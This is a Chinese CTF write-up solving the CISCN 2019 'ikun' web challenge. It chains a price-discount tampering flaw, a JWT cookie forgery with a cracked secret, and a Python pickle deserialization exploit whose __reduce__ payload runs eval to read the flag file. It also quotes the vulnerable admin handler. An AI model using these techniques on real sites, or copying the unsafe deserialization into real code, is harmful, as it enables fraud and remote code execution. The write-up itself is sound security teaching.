前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[CISCN 2019]ikun题解

[CISCN 2019]ikun题解

作者头像
KevinBruce
发布2020-03-19 10:44:06
7080
发布2020-03-19 10:44:06
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习

这道题的题目页面如下:

题目中要求要买到lv6,但是翻了好多页能买到的都是lv5及以下的物品,写一个脚本爆破一下lv6。

代码语言:javascript
复制
import requests
url = "http://7a73bf1c-9801-4509-bc9f-1e894d3df22a.node3.buuoj.cn/shop?page="
i= 1
while True:
    r = requests.get(url+str(i))
    if "lv6.png" in r.text:
        print(i)
        break
    i+=1

脚本显示的结果为181,181页中显示lv6的价格高达1145141919.0,很明显自己的钱不够,这里可以利用一个薅羊毛的漏洞,购买物品的结算界面有优惠,以下是购买普通lv4的一个测试。

修改diccount可以成功以超低价格买入。

用以上思路我们可以成功买入lv6。

之后会弹出一个admin页面,目录在/b1g_m4mber下,并显示只允许admin访问,这里应该是需要伪造admin的cookie。之前并没有接触过伪造cookie的问题,接下来的部分是借用大佬的思路,利用jwt进行cookie伪造。

在https://jwt.io/#encoded-jwt页面输入自己的cookie值可以看到自己用户名。

使用c-jwt-cracker可以爆破密钥,密钥为1Kun。

利用burpsite修改cookie可以进入管理员界面。

查看网页源码

image-20200312111615929
image-20200312111615929

有一个文件,可以下载下来。

里面的admin.py文件存在一个反序列化点

代码语言:javascript
复制
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

become参数会被反序列化,在反序列化时可以充分利用好reduce魔术方法来获取flag。

代码语言:javascript
复制
import pickle
from urllib.parse import quote
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt').read()",))

a = pickle.dumps(payload(),protocol=0)
print(quote(a))

关于反序列化有一个坑,就是不同python版本以及反序列化的协议产生的反序列化结果是不一样的,这里如果用python2可以省去protocol=0这个参数,本文中使用的python3。

发送payload即可得到flag。

本题目涉及的考点有薅羊毛漏洞、JWTcookie伪造和python反序列化。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-03-12 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档